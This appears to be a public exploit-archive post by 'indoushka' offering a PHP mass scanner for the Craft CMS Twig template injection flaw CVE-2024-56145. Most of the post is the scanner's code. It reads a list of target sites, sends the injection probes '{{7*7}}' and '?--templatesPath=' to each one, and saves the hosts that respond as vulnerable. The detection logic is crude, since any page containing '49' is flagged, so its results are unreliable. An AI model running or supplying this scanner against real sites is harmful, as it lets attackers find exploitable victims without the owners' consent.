📄 Craft CMS 5.0 Twig Template Injection Scanner

=============================================================================================================================================
    | # Title     : Craft CMS 5.0 Twig Template Injection – Mass Scanner                                                                        |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://craftcms.com                                                                                                        |
    =============================================================================================================================================
    
    POC : 
    
    [+] Description : a Mass Scanner for detecting the Craft CMS Twig Template Injection vulnerability.  
                      The scanner performs **NON-DESTRUCTIVE testing only**, without any RCE payloads.  
    
    (Related : https://packetstorm.news/files/cve/CVE-2024-56145 Related CVE numbers:	CVE-2024-56145 ) .
    
    [+] It detects vulnerable Craft CMS instances using:
    
    1. **Twig mathematical evaluation**  
    
       Payload: `{{7*7}}` → Expected value: `49`
    
    2. **templatesPath injection via GET argument**  
    
       Payload: `?--templatesPath=/RANDOM_NONCE`  
       Expected behavior: Echo of the nonce inside the server error trace.
    
    [+] The scanner supports:
    
    ✔ Large-scale mass scanning  
    ✔ Output file generation  
    ✔ Safe detection  
    ✔ Linux / Windows / macOS support  
    
    =============================================
    # Proof-of-Concept (PHP Mass Scanner)
    =============================================
    
    <?php
    /**
     * Craft CMS Twig Injection – Mass Scanner 
     * Author : indoushka
     */
    
    class CraftTwigMassScanner {
    
        private array $targets;
        private string $outputFile;
    
        public function __construct(string $fileList, string $outputFile = "vulnerable.txt") {
            if (!file_exists($fileList)) {
                die("Targets file not found.\n");
            }
    
            $this->targets = array_filter(array_map("trim", file($fileList)));
            $this->outputFile = $outputFile;
        }
    
        private function banner() {
            echo "=============================================\n";
            echo " Craft CMS Twig Injection – Mass Scanner\n";
            echo " PoC by indoushka\n";
            echo "=============================================\n\n";
        }
    
        private function http_get(string $url): string|false {
            return @file_get_contents($url, false, stream_context_create([
                "http" => [
                    "timeout" => 5,
                    "user_agent" => "Mozilla/5.0"
                ]
            ]));
        }
    
        private function test_injection(string $target): bool {
            $probe = "{{7*7}}";
            $encoded = urlencode($probe);
    
            $url = rtrim($target, "/") . "/?template=" . $encoded;
            $response = $this->http_get($url);
    
            return ($response && str_contains($response, "49"));
        }
    
        private function test_template_path(string $target): bool {
            $nonce = substr(md5(rand()), 0, 8);
    
            $url = rtrim($target, "/") . "/?--templatesPath=/" . $nonce;
            $response = $this->http_get($url);
    
            return ($response && str_contains($response, $nonce));
        }
    
        private function save_vulnerable(string $target) {
            file_put_contents($this->outputFile, $target . PHP_EOL, FILE_APPEND);
        }
    
        public function scan() {
            $this->banner();
    
            foreach ($this->targets as $target) {
                echo "[*] Checking: $target\n";
    
                $inj = $this->test_injection($target);
                $path = $this->test_template_path($target);
    
                if ($inj || $path) {
                    echo "[+] Vulnerable: $target\n";
                    $this->save_vulnerable($target);
                } else {
                    echo "[-] Not vulnerable: $target\n";
                }
    
                echo "---------------------------------------------\n";
            }
    
            echo "\nScan completed.\n";
            echo "Results saved in: {$this->outputFile}\n";
        }
    }
    
    /* CLI */
    if (php_sapi_name() === "cli") {
        if (!isset($argv[1])) {
            die("Usage: php mass.php targets.txt\n");
        }
    
        $scanner = new CraftTwigMassScanner($argv[1]);
        $scanner->scan();
    }
    ?>
    
    ====================
    [+] Usage
    ====================
    
    php mass.php targets.txt
    
    Example targets.txt:
    http://site1.com
    https://example.org
    http://victim.net
    
    Output file:
    vulnerable.txt
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================